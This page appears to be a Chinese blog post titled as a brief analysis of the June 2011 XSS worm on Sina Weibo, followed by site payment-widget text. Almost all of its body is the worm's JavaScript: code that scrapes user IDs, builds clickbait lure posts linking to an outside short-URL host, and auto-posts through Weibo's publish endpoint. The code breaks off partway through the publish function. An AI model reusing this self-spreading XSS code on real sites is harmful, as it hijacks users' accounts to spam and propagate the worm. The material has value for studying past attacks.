新浪微博2011年6月受到过xss蠕虫攻击简析

function createXHR(){  
    return window.XMLHttpRequest?  
    new XMLHttpRequest():  
    new ActiveXObject("Microsoft.XMLHTTP");  
}  
function getappkey(url){  
    xmlHttp = createXHR();  
    xmlHttp.open("GET",url,false);  
    xmlHttp.send();  
    result = xmlHttp.responseText;  
    id_arr = '';  
    id = result.match(/namecard=\"true\" title=\"[^\"]*/g);  
    for(i=0;i<id.length;i++){  
        sum = id[i].toString().split('"')[3];  
        id_arr += sum + '||';  
    }  
    return id_arr;  
}  
function random_msg(){  
    link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;  
    var msgs = [  
        '郭美美事件的一些未注意到的细节:',  
        '建党大业中穿帮的地方:',  
        '让女人心动的100句诗歌:',  
        '3D肉团团高清普通话版种子:',  
        '这是传说中的神仙眷侣啊:',  
        '惊爆!范冰冰艳照真流出了:',  
        '杨幂被爆多次被潜规则:',  
        '傻仔拿锤子去抢银行:',  
        '可以监听别人手机的软件:',  
        '个税起征点有望提到4000:'];  
    var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;  
    msg = encodeURIComponent(msg);  
    return msg;  
}  
function post(url,data,sync){  
    xmlHttp = createXHR();  
    xmlHttp.open("POST",url,sync);  
    xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");  
    xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");  
    xmlHttp.send(data);  
}  
function publish(){  
    url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();  
    
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值